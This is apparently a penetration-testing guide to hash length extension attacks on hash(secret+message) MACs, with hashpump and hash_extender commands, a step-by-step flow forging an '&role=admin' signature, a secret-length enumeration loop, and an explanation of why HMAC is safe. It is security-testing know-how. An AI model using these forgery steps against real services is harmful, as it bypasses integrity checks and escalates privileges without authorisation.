Hash Length Extension Attack
Hash length extension attacks against MD5/SHA1/SHA256 MAC: detect MAC construction pattern, forge signatures for arbitrary additional data, and bypass integrity checks. Uses hashpump and hash_extender tools.
What is Hash Length Extension
Hash length extension affects hash functions based on the Merkle-Damgård construction: MD5, SHA1, SHA256, SHA512 (but not SHA3, HMAC, or bcrypt).
When a MAC is constructed as hash(secret + message), an attacker who knows:
- The hash output (but NOT the secret)
- The length of the secret (often guessable)
…can compute a valid hash for hash(secret + message + padding + additional_data) without knowing the secret.
This allows forging a valid MAC for an extended message.
Detection
Step 1 — Identify MAC construction
Look for patterns where:
- A signature/token is computed from user-controllable data
- The same token is verified server-side
- The hash function is MD5/SHA1/SHA256 (not HMAC)
Common patterns:
signature=md5(SECRET + message)
token=sha1(SECRET + user_id + role)
auth=sha256(SECRET + "user=alice&role=user")
Signs of vulnerability:
- Signature is MD5/SHA1/SHA256 (not HMAC format)
- The message structure is visible (includes your username, role, or data)
- You can modify the message and test a new signature
Step 2 — Capture a valid request
In Burp Proxy, find a request with a signature/token parameter. Note:
- The hash value
- The message (data that was hashed)
- The algorithm (check response headers, error messages, or code)
Step 3 — Guess secret length
Try secret lengths 1-50. The tool will compute a valid forged hash for each length.
Exploitation
Using hashpump
# Install
sudo apt install hashpump
# Forge signature to append &admin=true
# -s = known signature (hex)
# -d = known data (the message after the secret)
# -a = data to append
# -k = secret key length to try
hashpump -s "KNOWN_SIGNATURE_HEX" \
-d "user=alice&role=user" \
-a "&admin=true" \
-k 16
# Output:
# New signature: FORGED_SIGNATURE_HEX
# New data: user=alice&role=user\x80\x00...\x00\x00\xb8&admin=true
The padding (\x80\x00...\x00) is the Merkle-Damgård padding that hashpump calculates automatically.
Using hash_extender
git clone https://github.com/iagox86/hash_extender
cd hash_extender && make
./hash_extender \
--data "user=alice&role=user" \
--secret 16 \
--append "&admin=true" \
--signature "KNOWN_SIGNATURE_HEX" \
--format sha256
# Output:
# New signature: FORGED_SIGNATURE_HEX
# New string (hex): 757365723d...
Practical Attack Flow
-
Identify the request:
GET /api/profile?data=user%3Dalice%26role%3Duser&sig=MD5_HASH -
Decode the data:
user=alice&role=user -
Run hashpump to forge
&role=adminappended:hashpump -s "KNOWN_MD5" -d "user=alice&role=user" -a "&role=admin" -k 16 -
URL-encode the new data output (it contains binary padding bytes).
-
Submit the forged request:
GET /api/profile?data=URL_ENCODED_NEW_DATA&sig=FORGED_SIG -
If the server accepts it → the signature check is bypassed; your appended
&role=admintakes effect.
Secret Length Enumeration
If the secret length is unknown, loop over likely lengths:
for len in $(seq 1 50); do
result=$(hashpump -s "KNOWN_SIG" -d "message" -a "&admin=1" -k $len 2>/dev/null)
new_sig=$(echo "$result" | head -1)
new_data=$(echo "$result" | tail -1)
echo "Key len $len: sig=$new_sig data=$new_data"
# Submit each and check response
done
Why HMAC is Safe
HMAC uses: hash(secret XOR opad || hash(secret XOR ipad || message))
The inner hash includes the secret — an attacker can’t extend it without computing the inner hash, which requires the secret. Hash length extension only works on the simple hash(secret || message) construction.
Burp Suite workflow
- Proxy — intercept requests with signature parameters; decode and note the hashed data structure.
- Decoder — decode/encode Base64 or hex signature values.
- Repeater — submit forged signatures for each secret length; note the response difference.
- Automate length enumeration with a Python script using Burp’s Python extension API or external hashpump calls.